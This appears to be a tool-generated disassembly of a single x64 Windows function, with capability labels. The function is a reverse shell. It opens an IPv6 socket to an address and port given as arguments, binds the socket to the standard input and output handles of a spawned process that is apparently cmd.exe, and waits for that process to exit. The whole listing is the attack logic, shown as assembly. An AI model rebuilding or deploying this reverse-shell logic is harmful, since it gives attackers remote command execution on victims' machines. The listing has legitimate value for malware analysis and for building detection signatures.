Function at 0x140001070
Capabilities:
Connect socket
Convert ip address from string
Create a process with modified i/o handles and window
Create process on windows
Initialize winsock library

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r15
lea rbp, [rsp - 0x5b0]
sub rsp, 0x6b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x5a0], rax
mov rsi, rdx
mov rdi, rcx
mov ecx, 0x202
lea rdx, [rbp + 0x200]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r15d, r15d
mov r12d, 0x17
mov dword [rsp + 0x28], r15d
xor r9d, r9d
mov ecx, r12d
mov dword [rsp + 0x20], r15d
lea edx, [r15 + 1]
lea r8d, [r15 + 6]
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001103
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.Socket_creation_failed_with_error:__ld_n
call fcn.140001010
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x14000138d
xorps xmm0, xmm0
mov qword [rsp + 0x6f0], r14
movdqu xmmword [rbp + 0x1e4], xmm0
mov qword [rbp + 0x1f4], r15
mov word [rbp + 0x1e0], r12w
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp qword [rdi + 0x18], 0xf
mov r14, rax
jbe 0x140001138
mov rdi, qword [rdi]
xor r8d, r8d
mov dword [rax], r15d
lea rdx, [rbp + 0x150]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtoul]
cmp rdi, qword [rbp + 0x150]
jne 0x140001165
lea rcx, str.invalid_stoul_argument
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_]
int3
cmp dword [r14], 0x22
jne 0x140001179
lea rcx, str.stoul_argument_out_of_range
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
int3
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_htons]
cmp qword [rsi + 0x18], 0xf
mov word [rbp + 0x1e2], ax
jbe 0x140001193
mov rsi, qword [rsi]
lea r8, [rbp + 0x1e8]
mov rdx, rsi
mov ecx, r12d
call qword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
je 0x1400011bc
lea rcx, str.Invalid_IPv6_address._n
call fcn.140001010
jmp 0x140001376
xor r9d, r9d
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
lea rdx, [rbp + 0x1e0]
mov rcx, rbx
mov qword [rsp + 0x20], r15
lea r8d, [r9 + 0x1c]
call qword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
jne 0x140001200
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.Connection_failed_with_error:__ld_n
call fcn.140001010
jmp 0x140001376
mov eax, dword [0x14000450c]
lea rcx, [rbp + 0x3a6]
xorps xmm0, xmm0
mov dword [rbp + 0x3a0], eax
movzx eax, word [0x140004510]
xor edx, edx
movups xmmword [rbp + 0x1c0], xmm0
mov r8d, 0x1fa
mov word [rbp + 0x3a4], ax
movups xmmword [rbp + 0x170], xmm0
mov dword [rbp + 0x170], WSAGetLastError
movups xmmword [rbp + 0x1a0], xmm0
mov dword [rbp + 0x1ac], 0x101
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x1d0], rbx
movups xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x1c8], rbx
movups xmmword [rbp + 0x1b0], xmm0
mov qword [rbp + 0x1c0], rbx
call sub.VCRUNTIME140.dll_memset
movsd xmm0, qword [str.d.exe]
lea rcx, [rsp + 0x5c]
mov eax, dword [0x140004520]
xor edx, edx
mov r8d, 0x1f4
movsd qword [rsp + 0x50], xmm0
mov dword [rsp + 0x58], eax
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x3a0]
lea rcx, [rdx - 2]
nop dword [rax]
cmp word [rcx + 2], r15w
lea rcx, [rcx + 2]
jne 0x1400012c0
lea r9, [rsp + 0x50]
xor r8d, r8d
nop dword [rax]
nop word [rax + rax]
movzx eax, word [r9 + r8*2]
mov word [rcx + r8*2], ax
lea r8, [r8 + 1]
test ax, ax
jne 0x1400012e0
lea rax, [rbp + 0x158]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rbp + 0x170]
xor ecx, ecx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x14000134a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcess_failed_with_error:__ld_n
call fcn.140001010
jmp 0x140001376
mov rcx, qword [rbp + 0x158]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov r14, qword [rsp + 0x6f0]
mov rcx, qword [rbp + 0x5a0]
xor rcx, rsp
call fcn.140001ee0
mov rbx, qword [rsp + 0x6f8]
add rsp, 0x6b0
pop r15
pop r12
pop rdi
pop rsi
pop rbp
ret